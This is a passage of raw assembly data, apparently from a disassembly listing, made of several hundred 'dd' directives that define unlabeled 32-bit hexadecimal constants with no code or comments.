		dd 6F76F710h, 0ED029CA8h, 47923F97h, 88DA8DDh, 23D01C37h
		dd 775F059Ch, 0A3FE9F83h, 2B80207Bh, 573C1BDh, 48AA98F8h
		dd 200499B0h, 0E867D822h, 5D4078ADh, 2C850BBBh,	8D421AE3h
		dd 99682062h, 25627768h, 0DF2133BDh, 0F7D1B933h, 86A72A82h
		dd 14EABB03h, 0DAC27303h, 5F079655h, 0CC2AB1EAh, 559779E9h
		dd 0D1C24A93h, 0D00F5456h, 0FEA602E0h, 0B4057C0h, 6D928683h
		dd 38FDD50h, 3B133A09h,	4B15705Bh, 10F2B871h, 0FC4F8B54h
		dd 0C248736Bh, 29FD0492h, 8BEE0E0Dh, 2E504B7h, 0C0EF5AA6h
		dd 77FF684Bh, 902574BBh, 4A0EB03h, 290D0F31h, 13F684F3h
		dd 4A4BF308h, 168A2BF0h, 45077071h, 8410D0ABh, 0F982EFE4h
		dd 0D5C5FD4Ch, 0B6AD5516h, 0F1658Dh, 0B3056DDCh, 0CE012513h
		dd 6B087510h, 95A3F20Ch, 0B80B66D3h, 4425DE7Ah,	8607EFDBh
		dd 0C655E034h, 0C6283522h, 3FE91357h, 657CA59Bh, 45F07E4Dh
		dd 20350092h, 7D25480Bh, 34009B0Fh, 8D496B05h, 13632D58h
		dd 40CB428h, 0AF0E7639h, 5F488272h, 192D31C0h, 0D0A89617h
		dd 5181D085h, 0FCE2215Eh, 0F838C4BDh, 0C77F503Fh, 0D6B8CA09h
		dd 114D158h, 4D9F11D0h,	5835DD68h, 720B4AD7h, 5C09786Ch
		dd 8AA53D41h, 0B42ED77h, 8256DA7h, 2750BC31h, 0F39E48Dh
		dd 40685552h, 0F22AD4C7h, 45683E4h, 0B97A288h, 0A18FDFF7h
		dd 3C9095E6h, 420B4198h, 21378676h, 0EFB687EAh,	8EC1A421h
		dd 0E2F47C7Ch, 512710AEh, 0ED6EE90Bh, 75F0E564h, 3D4F94Ah
		dd 1905DEAh, 3B5EAE68h,	789C340Fh, 233D6A03h, 12F02FE9h
		dd 0E3F88830h, 76593F5Bh, 0B934A05Eh, 1257870Ch, 0D69E02BDh
		dd 0EF296E64h, 0A77C71D7h, 80247E51h, 0FCBFDC20h, 0A3A2D0C6h
		dd 5DADC29Eh, 8B77479Eh
		dd 70FB5C97h, 625BDD68h, 5BEDFB8Ch, 0C9B5A892h,	3F1A59FBh
		dd 0D2769A92h, 41F5EF7Eh, 313B2CC0h, 56F70EFh, 78177C81h
		dd 0A35D0605h, 0EE7D298Bh, 33966F2Ah, 0F0F1F725h, 0CF909E36h
		dd 0F09B1272h, 0B63C52A4h, 73D91BE0h, 6C78E954h, 0C0980AB1h
		dd 90EE04BAh, 0F0756D62h, 95686B0Bh, 12B6660Ah,	0EC7220CEh
		dd 61190FAEh, 7CC999Fh,	307F1280h, 0FB2946D1h, 18585F25h
		dd 37C0090Eh, 0D08159E9h, 6FC1205Fh, 813B03E6h,	5883DF77h
		dd 616BE7Ch, 104A3ED7h,	0EDF90E83h, 7437EC47h, 10692548h
		dd 0BD027AD7h, 0B9043FE4h, 0AB800F55h, 0BB4C5C47h, 0B4A4AC13h
		dd 0A00FE653h, 850D2B5Fh, 8C5D7385h, 0F69C9E89h, 658FEB57h
		dd 40E127C6h, 4DB75300h, 0FE04E7C0h, 72F9FBC7h,	71E5264h
		dd 21626C13h, 4F01C6DEh, 0F5738076h, 12DFC93Bh,	1CBBD8C1h
		dd 0EEF3143Dh, 1177AF2Dh, 0F7D621AFh, 0C799C324h, 0EB28938Dh
		dd 0ABB895EFh, 0B82A86C9h, 0E950C1A8h, 656FB7DEh, 0EBD9EBFEh
		dd 213BE60h, 0E97C4A29h, 96CA936Dh, 75200257h, 0C8EA096Bh
		dd 0F649E279h, 0F7AF71F6h, 0F3B3241Ch, 0D1BFDE16h, 2883A710h
		dd 3CA8A1ACh, 5C3B612Fh, 0AFC155Eh, 0FC9CE985h,	97B25BA6h
		dd 50B84Bh, 16FA198Fh, 256CEDB8h, 50F35C1h, 9930754Bh
		dd 5E72FFE2h, 84DB7B95h, 600D7AE9h, 27CDB9h, 0B4BF3423h
		dd 0E920A1C7h, 26B2B534h, 0DC9AA381h, 5480BA14h, 0BCA8104h
		dd 79AB5118h, 0B1259580h, 29096702h, 5860E9D7h,	59BB0576h
		dd 0BE108422h, 21BC73C0h, 0F0265E23h, 8B17BA11h, 96A8743Bh
		dd 0DD241675h, 4550BA2Fh, 0BA285A08h, 7F9B09BBh, 55D5D1Bh
		dd 0D802294Ch, 997C2E9h, 81B18057h, 256B6DE2h, 1477392Ch
		dd 629E09FEh, 22F74715h, 0B7D6B30h, 5813EA54h, 9B7B7F87h
		dd 53EF9451h, 879B626Bh, 5EAE57Fh, 44423C68h, 0B86FF8h
		dd 5D49360Dh, 0C205000Bh, 2D0A1640h, 0F3259DF5h, 4907F155h
		dd 0B5441475h, 51AF9474h, 9BCACB6h, 0F76E1EA5h,	8552079Eh
		dd 82350C35h, 2C6DE4AAh, 8ABEEFD3h, 68560625h, 27CF2E1Bh
		dd 0A4F65D67h, 619BC25Ah, 0B10416AEh, 0E7E168E0h, 0FE16EEB4h
		dd 25CBE60Fh, 0F2EECC2Eh, 870616D1h, 0E580A734h, 0AE4A69h
		dd 0F6814E43h, 5D781676h, 3F16CEECh, 2306AA17h,	91E05EEh
		dd 37E79BDEh, 3E2822D5h, 0E919DF61h, 0A29BFE78h, 13D0DBC2h
		dd 9F35C97h, 25486971h,	513063DCh, 28880C7Fh, 0F22E5A98h
		dd 842ACEF0h, 31C03745h, 501A524Fh, 32BE15Ch, 0E97E2C7Fh
		dd 5648D1D3h, 0AA4075CBh, 4B219456h, 0E881EF69h, 0C70F67B3h
		dd 0AD9290Ch, 542D08C1h, 321BC253h, 0EF510B7Eh,	61444F35h
		dd 0C56FC2E1h, 0BC5F030Ch, 0E2D7AC8Fh, 947F6723h, 7FF82049h
		dd 502C62B7h, 65B24CB0h, 2A7A1C10h, 882017BAh, 685B0C97h
		dd 0CA172308h, 89EAB241h, 0ED1E8215h, 0EFABC4A9h, 53B9A5FAh
		dd 8F3A00B2h, 4A59F34Fh, 4F31D490h, 9899B8CFh, 14DC4915h
		dd 16E4A684h, 444F2FFCh, 39E2BD2h, 99BDEE81h, 0D16F1D48h
		dd 7B793F75h, 0C9FF7E2h, 0CFA1F5B8h, 8F88E7B8h,	2D48A468h
		dd 0BA52C08Ch, 4E7B398Ch, 349FE173h, 0C095458Eh, 38E95770h
		dd 0A95E8FBAh, 562D465h, 1CF632C5h, 1C44B40Eh, 0D03EDD2Dh
		dd 8B057631h, 303B4613h, 9D192292h, 5245C7Dh, 0B3C0C90Ah
		dd 2E239958h, 0A76636E9h, 1288FB5Eh, 5EE02D93h,	38C5A97Dh
		dd 99FB875Fh, 0E23331A6h, 0F7EB4C83h, 765DEAEAh, 8C31441h
		dd 0B7E06B50h, 82404654h, 0A2489B59h, 10E8F708h, 299B585Ah
		dd 6802128Ah, 0C14B0140h, 0B5D4FB07h, 0CBF8503Eh, 0A3219278h
		dd 8037E9ACh, 0E87BE061h, 526A005Ch, 4AE954C1h,	8B1694BCh
		dd 8BD4A67Ch, 0ECA0FFE9h, 0CC89C2F2h, 11B8A850h, 35465212h
		dd 5AE50CBFh, 0A1EC4139h, 0B80CA267h, 0F1C913EEh, 916EA3F4h
		dd 0D0AD4285h, 13A04C46h, 9A0D3CF4h, 0BF8B92Bh,	1DF55254h
		dd 3A6C1331h, 4471BFB4h, 0A464DE71h, 0BCBF135Ch, 242B07F8h
		dd 291C8275h, 882B370h,	0D64BE459h, 0F829005Ah,	5856E02Dh
		dd 0CA884F5Bh, 4D20FD54h, 4023121Eh, 0F748AF43h, 0C4A0102h
		dd 0E4D10B61h, 9F55E9h,	78292D0Bh, 567A65CEh, 0BE071605h
		dd 8CE96A30h, 357C9FADh, 90CBE652h, 89E8AAFCh, 0CFC85C32h
		dd 5A5803CBh, 0DAB74FB0h, 89579796h, 1D5977E3h,	0DF21C252h
		dd 25E9B868h, 0E3D0EC5Ah, 5865E0C3h, 0BF27FA10h, 725A5241h
		dd 0C231D011h, 7980ECE9h, 0B45D8C83h, 9D09EABFh, 0A4C21h
		dd 7EF8B84Bh, 2FE91CC0h, 39752547h, 122151D5h, 0D453715h
		dd 5FAD59CEh, 7977AD4Fh, 0E54A4C90h, 2C4C8BEh, 0D627969Ch
		dd 16666F84h, 527B1666h, 0F4284B1Eh, 14E6E48Ch,	0BF32680h
		dd 349F16CEh, 596404ACh, 0AFC9AF55h, 40F08130h,	0B84F5065h
		dd 0FC5F7EF9h, 0A4A42AEFh, 0CBD1F724h, 0EC0CC101h, 0CC6C2961h
		dd 0E4971E17h, 0F219807Dh, 0AF9EE03Ah, 2AE59D2Ah, 0E90E38BAh
		dd 0FE6E3329h, 0E652DE04h, 3AC14987h, 806BEE1Dh, 0F24E600Eh
		dd 19E12BF1h, 5340FA2Eh, 0B013D5BBh, 0B415F848h, 0CB2109F9h
		dd 6E3909C0h, 7672D930h, 61FD7601h, 72F0C6Dh, 0EEBF60E6h
		dd 5AF948F9h, 9567415Ch, 598F134Bh, 3C2787E3h, 0CD054C8Fh
		dd 0C1DEC45h, 0BCF8C271h, 0B36C0FCFh, 59EC2113h, 480C8D8h
		dd 505A0368h, 52A4B151h, 36A1EAE9h, 0B888203h, 5A857E59h
		dd 736502C1h, 2CD21566h, 0C30F22E1h, 4D69F330h,	0C75559Bh
		dd 19036303h, 847F91E9h, 8624E7AEh, 70179903h, 0CE520FC3h
		dd 497F3315h, 0FF33411h, 0C3103126h, 204F3C72h,	0B3DA192Fh
		dd 509A5A72h, 8068510Ch, 959C3379h, 0C5FE6380h,	6F75B753h
		dd 0D7F6C718h, 3CE7C008h, 99978003h, 0CB42EFE9h, 5F12E8C1h
		dd 87CBD4DCh, 0E274527Eh, 860C9175h, 0DFDD3E7Ch, 0EF06D16Ah
		dd 0BF6801B3h, 0E7A7CCEAh, 6A048463h, 15660Eh, 10536855h
		dd 80174EFCh, 32245F44h, 0CBF73926h, 7201CD16h,	60E978B3h
		dd 39888A24h, 1DDC58C2h, 5166E95Eh, 0D0FEE9FBh,	5360B6E9h
		dd 974EE6Dh, 0C7545062h, 753D19A1h, 0E891180Dh,	0E916182Fh
		dd 80E66696h, 49B06812h, 1472C7ADh, 9589591h, 6BE925FDh
		dd 607F2442h, 2E238FFDh, 3C8E7630h, 58FE00CAh, 0D368F301h
		dd 0BD8195Eh, 326A2504h, 5F133FDh, 7E9550Dh, 9F6C0109h
		dd 6C2A521Bh, 8C62893h,	0FEE3594Bh, 40038A50h, 0D6A45E7Bh
		dd 95DD60BFh, 0EEF1973Ah, 41024224h, 804C8B14h,	580704BBh
		dd 0F5872C7Ch, 24D42068h, 8E375C34h, 0AE16174Bh, 0F50039D9h
		dd 0E35E5B56h, 0D646F3F4h, 81BABC06h, 8048C527h, 7A3CCE28h
		dd 61D54B25h, 5F7A615Bh, 6E488BC0h, 4BEA445Dh, 12291F84h
		dd 5860BA63h, 5B3C6833h, 92A8B02Ch, 0EF99E9B5h,	59C9D27Fh
		dd 0CCDF2175h, 5E3444Eh, 734320EAh, 4612BF60h, 0CDFA3EEh
		dd 0AA654E9h, 8B09B75Bh, 0DD90A8FDh, 0E987FB1Eh, 0FF0B5E53h
		dd 0E324236Fh, 99A28F13h, 0A8606813h, 0CB84A8Eh, 0B35468B8h
		dd 9024E98Ch, 0FA40A02Fh, 0A8FD5962h, 9616559Eh, 0ABA967CCh
		dd 71EA6C8h, 0DAF62172h, 0D34C114Ah, 0B05B8785h, 0BD7940E9h
		dd 9EB72312h, 3361A005h, 2A16CECAh, 10FDB375h, 0BA4E6246h
		dd 0D7C7B461h, 0D704BE04h, 0B1267CCh, 82DD633Dh, 7EE80A54h
		dd 0FA68582Ch, 226F5466h, 3B66480Bh, 0B8D61127h, 3EC13C20h
		dd 4308E3C1h, 617CFDE5h, 0E52C453Dh, 96873971h,	0FE7D821Ah
		dd 31828133h, 9EDAC9D3h
		dd 0D0BB4A08h, 2F3091A5h, 0C8F334D8h, 656E3001h, 16C56B18h
		dd 6F88184Fh, 0D726498Ah, 0EF4A3F81h, 0A740E27Ah, 4D12392Dh
		dd 0A4AE3388h, 0F21D81DAh, 65B97F7Dh, 0E8887E88h, 0DE1C09D3h
		dd 0AF765A3Bh, 8B3251CBh, 491AB74Ah, 0C6422176h, 625A0761h
		dd 997C35A7h, 1FEDEB50h, 3A48DD60h, 933E5C9Eh, 15AD013Ch
		dd 8250A626h, 5A17080Ch, 14315421h, 0C6808EDh, 3D332C14h
		dd 29D07409h, 1AAF875h,	35D6BB53h, 6B2156EAh, 4A0021FCh
		dd 500D6B7Eh, 0AA706FE9h, 4925F9BDh, 0C1DC24FFh, 455082F8h
		dd 91725D90h, 4BD6387Ch, 24A4B570h, 0B3FD81EAh,	0F8AFF834h
		dd 16C46E9Dh, 0E3131E68h, 0D08827C6h, 0D1DB9741h, 0A456C849h
		dd 2950CBACh, 0DE2D0D5Eh, 0CE5D980Dh, 57289FDCh, 0DA029439h
		dd 116F146h, 2F0808FDh,	71EC9A5Fh, 5504065h, 8BBF2774h
		dd 0A9A37D0Bh, 88F2AAFBh, 2F9E7BDFh, 55411EDFh,	0B26FA701h
		dd 7E9DD2EEh, 5CC9D8h, 5208D76Bh, 0E3C2A5BAh, 0EDE9F712h
		dd 0C505FFADh, 1E956077h, 699DC2DCh, 0C9601942h, 2376786Dh
		dd 1484295Bh, 2D5D0800h, 90B1307Ah, 33B327DFh, 0D5C44A7Ch
		dd 592EA3A8h, 0F7030728h, 7570B3D8h, 76C77327h,	5A35B2BEh
		dd 0D952697Eh, 0BDE98494h, 8B56E891h, 3827855Dh, 0D7C669A8h
		dd 444A2D50h, 4260E313h, 0C626A068h, 3B3BD521h,	0A271E277h
		dd 52083E91h, 2D725F5h,	40AFF78Bh, 0A48903CEh, 0EBE92CCFh
		dd 14F7AD75h, 5701E792h, 0C342E87h, 405EE3FFh, 0CB9443BEh
		dd 38A10C65h, 0BB71856Ah, 0AB1C8480h, 0FE5FD4Fh, 7E321C99h
		dd 99859D30h, 0F45B5FA0h, 2F4E5A01h, 0FBD29EBDh, 0FE5E84F3h
		dd 0F306EA52h, 5189FD1h, 525E2CACh, 0BEA9C553h,	12AFBFC4h
		dd 3E3CB06Ch, 98C7F444h, 0FB56B59h, 98AE0140h, 1297BD80h
		dd 730510Eh, 0DF78E528h, 2AA1F813h, 0F995DE47h,	0F3CD50ECh
		dd 7502D7B1h, 0C171907Eh, 68008FBEh, 0EF9349C7h, 30678B0Ch
		dd 590BEC57h, 0BF0E1065h, 9873EC2h, 995F77FBh, 8828182h
		dd 67D53962h, 7818AFD8h, 270BB866h, 0A1AAE90Bh,	0C1315802h
		dd 9F3DE4E0h, 3E596418h, 16093580h, 587A8C1Dh, 64FD725Dh
		dd 16B390Bh, 83188CBh, 2E10BD26h, 5168AD05h, 123987Eh
		dd 1EF36405h, 0B5BB2FE9h, 0A9D1F6E7h, 0E8A1AA0Bh, 6E761CBAh
		dd 0A202F4CDh, 9E80DB5Bh, 9AF064Fh, 7384B5A0h, 13C1113h
		dd 68086C50h, 5D0A141Ch, 68C08155h, 5EE074BCh, 9688E076h
		dd 0F9AE2617h, 9DE27314h, 31365B81h, 50EC5E40h,	21D60068h
		dd 0BB585C04h, 0FB05DE2Ch, 0D9C0E9A3h, 0AD7ACCEAh, 0F0841C70h
		dd 432D031Fh, 0C3B0E92Fh, 5AC15D07h, 643FD136h,	67BF8229h
		dd 0AE02A490h, 0CCA6F412h, 0C4E257Ch, 0A860B494h, 39AEB90Dh
		dd 816E084Fh, 0CFA0AAF1h, 67E9590Bh, 224DDFF7h,	0F531BC09h
		dd 0F0C68D39h, 5FC119C2h, 71830BBEh, 965B5900h,	0CA897B12h
		dd 993CF80Ch, 1D3B03EEh, 0DE292B1Ah, 6A08A841h,	5012019Fh
		dd 0DC4DF5FAh, 2097EC2Dh, 0B78AD83h, 3CCAD445h,	19590840h
		dd 417B6268h, 20006BB8h, 0B75331B1h, 7F70B525h,	80C7FE16h
		dd 0F9304404h, 6E298E89h, 5CA6FED2h, 82D8E84Ah,	64982BE9h
		dd 211F0FD9h, 196635C9h, 0BF071689h, 4A766520h,	0E2FEE1A5h
		dd 7A850DDh, 552F6812h,	5ED60961h, 0E05A9C63h, 5A001D5Ch
		dd 62BA39E8h, 6971388h,	7FE9FA29h, 562D52AEh, 821B5F5Ah
		dd 3BAA0AF1h, 0BC9786F3h, 0C8860686h, 208D1F6h,	0D72C6134h
		dd 64C6C530h, 29808EF0h, 0F4D6A2C6h, 0E90CB5C1h, 0D9582DCDh
		dd 58D1EC54h, 43B39EA0h, 0E476624h, 756FBA05h, 7B6570C1h
		dd 0BF05A722h, 0AC47BC57h, 8C128A5h, 5BA25B4Ah,	0D19699C4h
		dd 583A418Ah, 1B13809Fh, 6AA21D5Ch, 0E8A25112h,	68449E09h
		dd 3AB3602Eh, 0FA2CBAD4h, 6D55A5E9h, 0C677253Ch, 0C4125FE9h
		dd 6D44BB3Ch, 5909C2ABh, 68E90375h, 48BEF46Dh, 66021668h
		dd 7115190Dh, 0BD09BD4Fh, 0DA804FD9h, 0E9DFAAEDh, 0A1C5584Bh
		dd 12A3DAEBh, 0C6A36646h, 2F5C7E1Ch, 1289B475h,	408D27E9h
		dd 0B351C550h, 0F87C3164h, 0C845D925h, 4A3A6FB9h, 807DBC52h
		dd 62E73450h, 0C1D17743h, 13732212h, 0A7406167h, 9F1378F3h
		dd 530B985Bh, 29BC227Ch, 9300F5D8h, 56B4E21h, 0E5320F3Dh
		dd 49E145C6h, 17FB3E8h,	0D135517Dh, 6E11CC40h, 4EF456F1h
		dd 6D30478h, 0AF366EE9h, 2E508E8Fh, 61DC41BFh, 0E7826EBEh
		dd 0BFF0BC0h, 0FD16550Ah, 0D9B78B77h, 5BA9C2BEh, 9F72C4DDh
		dd 0BE1013C2h, 0BE803D20h, 4C3C774Fh, 0A927096Eh, 80073820h
		dd 5A984134h, 0EDF4904Fh, 410A4150h, 314CB37h, 92F4E15Fh
		dd 0EE2FE962h, 60C6CE69h, 5B12C89Ch, 0F7BA2C8Bh, 0AFAD9226h
		dd 7B464571h, 5B167DA3h, 0C7EBA4CBh, 0DF0989B0h, 753B2614h
		dd 22B70394h, 75D9A8A4h, 9AAAF051h, 0E510F90Ch,	0A980F2Fh
		dd 2968E75Ah, 0A2C95A4h, 17BE5615h, 0E1674254h,	0A73E01E5h
		dd 5E0C4054h, 7C7E5B4Ch, 9F15A13h, 0F18035C4h, 17199BC0h
		dd 8726E986h, 1FFACA44h, 719FE07Bh, 922A5225h, 185DAF06h
		dd 0D4884487h, 0F15B1C28h, 0A5163E5Ah, 1E84808h, 7839DD2Dh
		dd 2CA3E96Fh, 0E70126DDh, 57AFE109h, 0A53D57F3h, 776F0B41h
		dd 35A42536h, 0D9F88E27h, 0FB08213h, 0E8D4351Dh, 89010634h
		dd 59A7011h, 0F68F0F3Eh, 7C060DA7h, 46122911h, 6AE6067h
		dd 527FCAA7h, 2C105D95h, 14D25A2Dh, 75218604h, 151CCA1Eh
		dd 2DF080FDh, 35FA3111h, 5BB79B98h, 0BBE94487h,	0C4EEBBD5h
		dd 0E5F5FE06h, 9D1184F4h, 34D69A1Ah, 0E3D8550Ch, 96DDEED3h
		dd 1A680E05h, 1FA7CC53h, 9209399h, 51264327h, 520142E3h
		dd 0C24F052h, 0D69FC63Fh, 265CFC9h, 5238EA4h, 68EB905Ah
		dd 9895317Dh, 25145711h, 0D8052A3Fh, 0DDAEF16Ah, 7B5860D1h
		dd 294AECF8h, 9D2060E1h, 0A9FC9DAEh, 925BDEE2h,	6A23F54Dh
		dd 2E015977h, 6C7C07BBh, 8720557Bh, 0DA0F02D3h,	0D6F7462Ah
		dd 3E84F240h, 9316D42Eh, 0AE741D03h, 47180166h,	0E9AFA48Ch
		dd 3D557BB1h, 27C05A1h,	8010B5Ch, 2E5F5992h, 0E334FC2Fh
		dd 0FD4EDDE9h, 0FC6C451h, 0F3015F03h, 87F5944Fh, 0FD70112Eh
		dd 0A128BB4Ah, 0E5D24BFEh, 49E07B33h, 82C17A5h,	8713EB19h
		dd 0D459C892h, 0E28100F7h, 1D9367E6h, 672E912h,	820FCCB9h
		dd 1376C934h, 0F00F050Ch, 400A1D05h, 538D612Eh,	3658E95Eh
		dd 4BEBB583h, 18E207D3h, 10754FF5h, 0C55D272Ch,	1E4C2541h
		dd 0F21B442Dh, 81D09D03h, 0DD124A5Fh, 3D853DF6h, 40CC8A4Bh
		dd 4F4A1286h, 195915A4h, 0F802DC6Eh, 290D8B55h,	61848CDAh
		dd 12EEE059h, 0FC8CC680h, 803325B8h, 685A5817h,	0A52C65CAh
		dd 50A3B0A9h, 7ABED1BDh, 7DF792D5h, 0A2C1431Ch,	5B1076BEh
		dd 546C2F8h, 0E9A4EF89h, 0C3DFA42Ah, 2D7B7697h,	0BE65CBC8h
		dd 5803A983h, 76C12781h, 0EC381640h, 16C1D31Ah,	1032685Ch
		dd 0F1C59B7Ch, 5D20FE7Ah, 5AA3FD1Fh, 0F20CC75Dh, 5BF57409h
		dd 0E24BE0Ch, 0BE21931Fh, 0C1F0F205h, 520275EBh, 6EF8E5C1h
		dd 0B1102DF9h, 0C65B2557h, 0D9F62EE1h, 0C9B003E4h, 0EB5C128h
		dd 8063B287h, 0EA9973F2h, 2C353020h, 47634984h,	0C11C0848h
		dd 94D52582h, 868159Fh,	0B734D978h, 1DA3E40Bh, 25343CBh
		dd 0C5FC5Dh, 0A0589C25h, 1480539h, 0FE5FEF6Dh, 6595DEE9h
		dd 0A9748866h, 523E02ECh, 0D733B70Ch, 2CBE1B2h,	0E9E0995Fh
		dd 81EAD0AFh, 93F73D42h
		dd 5597E210h, 0FDB018E4h, 9834440Eh, 1C40DE40h,	0E94A452Ch
		dd 959E9AABh, 0DF2E09FDh, 2D00D4EDh, 42E40A87h,	5D02829h
		dd 4B5A7C07h, 0AA236404h, 5BFA5C81h, 63E20E20h,	0B2BB426Ah
		dd 0E8769181h, 14DD855Ch, 42AFD127h, 212501B9h,	0E89338F8h
		dd 9BC05B11h, 644A1D1Bh, 1A2484Dh, 42F38059h, 0CAF1E3CCh
		dd 3BD5D10Ch, 924CBDDh,	9E328D40h, 0FCC13B10h, 0A15484A8h
		dd 413084CCh, 32FC4094h, 84940414h, 0B70A53Eh, 79DA5C8Ch
		dd 0E5A86F5Ch, 880B8A84h, 0BC9EA240h, 17F48004h, 0C81914C7h
		dd 267354h, 0C9813F85h,	1C8C7D76h, 10E9D130h, 60E14509h
		dd 4E4B0C37h, 0F8F93B2Ch, 9251F435h, 87E12BD2h,	9579D430h
		dd 575294DEh, 0DC0A2E22h, 3AE1F27Fh, 48987A5Fh,	87A06A29h
		dd 0BCB15EB5h, 2FDAF52Fh, 7807FE79h, 0D3095A69h, 3D855039h
		dd 23604AE9h, 6C956F7Dh, 0D552C794h, 8E3A7E8h, 0B0706CFh
		dd 0E0BD50DBh, 7D0F4CB6h, 1280111Fh, 63F2EA57h,	3CA405C0h
		dd 0C1A165B8h, 0E907402Dh, 0EC970A9Fh, 5926F4D1h, 592E912Dh
		dd 0EFC105A7h, 32B3D008h, 1F4F23EAh, 2E9E3C0h, 0B62CCF9Bh
		dd 7DF11EBCh, 0AE1277ADh, 0BCD02C62h, 0A4D8C797h, 686670D6h
		dd 7E3C7048h, 4EA5FD4Dh, 0B3B1FAA8h, 3B5A309Dh,	0D867CA81h
		dd 18092B2Dh, 28036465h, 0EC52E9E8h, 806ADB89h,	0C00ACB37h
		dd 4727E990h, 171E5162h, 588DAC5Ch, 30CC1BACh, 6B9EB0C5h
		dd 58092DC7h, 1AF7280Bh, 0D8F47531h, 0F471C4ADh, 0D0D660BDh
		dd 0F930EDB7h, 5F5B6627h, 0CF5FA78Bh, 0FFDAA7D0h, 7C7A6802h
		dd 564F2E9h, 8AD7FE05h,	94AFFD5Bh, 0F8E10FE5h, 0B8AEF465h
		dd 1794A51Bh, 90DCE9F8h, 0D0BD1634h, 81DB5A40h,	2419A9CBh
		dd 20481C4Fh, 0B0255DF2h, 0B94A3458h, 4D6EA1D0h, 275BC04h
		dd 0CB3DE168h, 2140552Bh, 5280DA0h, 325EDC66h, 0CC3148E2h
		dd 3A7EE7F0h, 41E1C4FCh, 0F5ED2A54h, 9CACDDD3h,	5F2591A6h
		dd 0F4B56196h, 0E37C8885h, 0ED0E782Ah, 0C0239538h, 0CE9669F7h
		dd 24F69CE2h, 8C211706h, 0D6B4470Bh, 0ABEB8001h, 5EE9D930h
		dd 0B459503Bh, 5EBE2050h, 0DB2DEA74h, 2C888526h, 5153CD89h
		dd 0BA27277Eh, 0EDFF5C11h, 0DA517507h, 765C13Ch, 6850F0C1h
		dd 0E6FC7821h, 4C52732Dh, 6D059738h, 1655DF46h,	0BEBFC5EEh
		dd 9530A2E7h, 0F2C28071h, 57D1202Fh, 0D1928EAFh, 758EA61h
		dd 665E45A2h, 52514CECh, 942CD800h, 84CB95Bh, 74797D25h
		dd 1ED42FF1h, 9DD1410Eh, 681FA4AEh, 0BD01F1A5h,	459F1B12h
		dd 0F887D93Bh, 7FEA0502h, 0ED00BAD6h, 7C531AA8h, 0E9F21329h
		dd 5BDD4B66h, 12986577h, 204E19E9h, 60202564h, 0C256822h
		dd 652AC412h, 0FF4AF31Ch, 4C0108C5h, 382D3921h,	1DD8CB20h
		dd 8767C757h, 0E44643F3h, 0E08A9717h, 33706275h, 0F9281CC0h
		dd 2609A464h, 9285BDAh,	18DDA3DDh, 333EDBDEh, 0D7D46A67h
		dd 222D0D02h, 0E15DED31h, 741054Dh, 3368B6E9h, 0CF6CAB4Eh
		dd 347D9552h, 79E92FD0h, 0D5FA1F43h, 92AA0E77h,	3B858AEBh
		dd 0D8280904h, 5B98983h, 0E4EA9D79h, 5B3D1344h,	8043AD11h
		dd 3C0DB9EBh, 277A7A75h, 0AAD289FEh, 30486809h,	0C4030928h
		dd 7BED07A0h, 342CB429h, 610C4D5h, 56EA8908h, 0A4E6D748h
		dd 0AB8C1684h, 0AF525B58h, 51DCDB56h, 5CB4AE9h,	0E95DB72Ah
		dd 80CF1DAAh, 0C7C24F5Ch, 0E0F82812h, 61D3E982h, 31422C70h
		dd 0A7C2C9D0h, 1787C08h, 7BDF635h, 0E4A681A3h, 1654934h
		dd 8C640DBh, 0D46C32E9h, 9BD95F44h, 0A69CE54Fh,	5B60E4BAh
		dd 0A305C4Ah, 0DA3DD2h,	9BB85040h, 211D2F53h, 37E9C20Ch
		dd 0C51FD59h, 0DA488C68h, 0EB40E86Eh, 2B230FBBh, 0AD4715CAh
		dd 0AC77AF94h, 8668A14Bh, 1DD8D2Bh, 0C179BBC6h,	0A6BFD119h
		dd 8112240Bh, 2F1B4F60h, 0B70B7DD1h, 8102B572h,	6B0194F6h
		dd 89441CBh, 5CC9E93Dh,	0EE5769A4h, 558402E2h, 0B1E920BDh
		dd 0F959B527h, 0E9527DC9h, 9B41969Fh, 4AF6432Dh, 52E0E717h
		dd 0B19301ABh, 821C1B17h, 6774A464h, 8D405710h,	78EDF259h
		dd 985A25C5h, 9F0779CEh, 0E9419DDBh, 2F668BE1h,	0A213648Fh
		dd 0DDE75ADFh, 0BAB2E982h, 1037448h, 27934C97h,	16645D3Eh
		dd 2D85514Ch, 8037DA37h, 0F3CA5h, 814521ADh, 897331CDh
		dd 14C3048h, 2A8C781Fh,	0A36497E9h, 0E10B5BB5h,	0EBF40292h
		dd 0CAE77729h, 0F80EE90Bh, 30AD76B5h, 0BE1C6C57h, 0D2301265h
		dd 6A89D214h, 0D12A37C7h, 5B4720E2h, 0C1780D0Eh, 0C8E8065Ah
		dd 5E3EDD81h, 46EB209Ah, 0CBBFC1D6h, 9A04885h, 51ED1702h
		dd 63082068h, 3BBF0E59h, 857F55FAh, 6ECE228h, 8FD5B25Eh
		dd 707EE948h, 95BD075Eh, 0A5427349h, 6808B0DCh,	0E2A8A25Bh
		dd 200EB7C2h, 0B4E90860h, 0AF901B5Fh, 4ECC6801h, 0B02C2036h
		dd 3198FEAEh, 3780FC4Eh, 0CCE8146h, 17A0011Ch, 5D251DF2h
		dd 1D650AFh, 362D567Eh,	3A1F39E9h, 8B3E5AC9h, 8FBF74E7h
		dd 2A22AC61h, 52C30FB8h, 46462070h, 0C112BAD5h,	41AE04E5h
		dd 0B079071Dh, 0EDCB2A44h, 3F51031Ch, 69D42925h, 710825CAh
		dd 0BA1D45h, 8101FE0Eh,	0DD241F2h, 0BA09C5EAh, 8A3BD683h
		dd 4E4CC032h, 966726Fh,	0AA40F10Dh, 0C9FB02F5h,	0EAEED722h
		dd 4E71094Dh, 0CE849EF2h, 0BB41EE93h, 0B9A3D1Bh, 32DA040h
		dd 0BF7F48F2h, 0AD278E25h, 0D52F328h, 802042D9h, 884BB216h
		dd 65A66D4h, 0E480C4FEh, 771E065Ch, 0CC0FECD0h,	63F46FF6h
		dd 0DAE9E588h, 445B5FE8h, 63B36801h, 116D25BBh,	0B3980285h
		dd 425910C4h, 97393502h, 85D74AADh, 39AC73FCh, 5A773348h
		dd 0CA41BA7Dh, 7C4F4E39h, 3098CAD8h, 0EACACB43h, 872FDAC5h
		dd 2471D4B4h, 2B55044Dh, 75C88163h, 68E010D9h, 983F5FB5h
		dd 435D6A05h, 323A0129h, 0E3C178FAh, 5CD3F7F0h,	41692B53h
		dd 242194Eh, 0B505FD50h, 0F5028CF8h, 0EC885004h, 0A4918E51h
		dd 29AB59EAh, 0EB80E842h, 0D375C170h, 1B9DC375h, 0E9B58977h
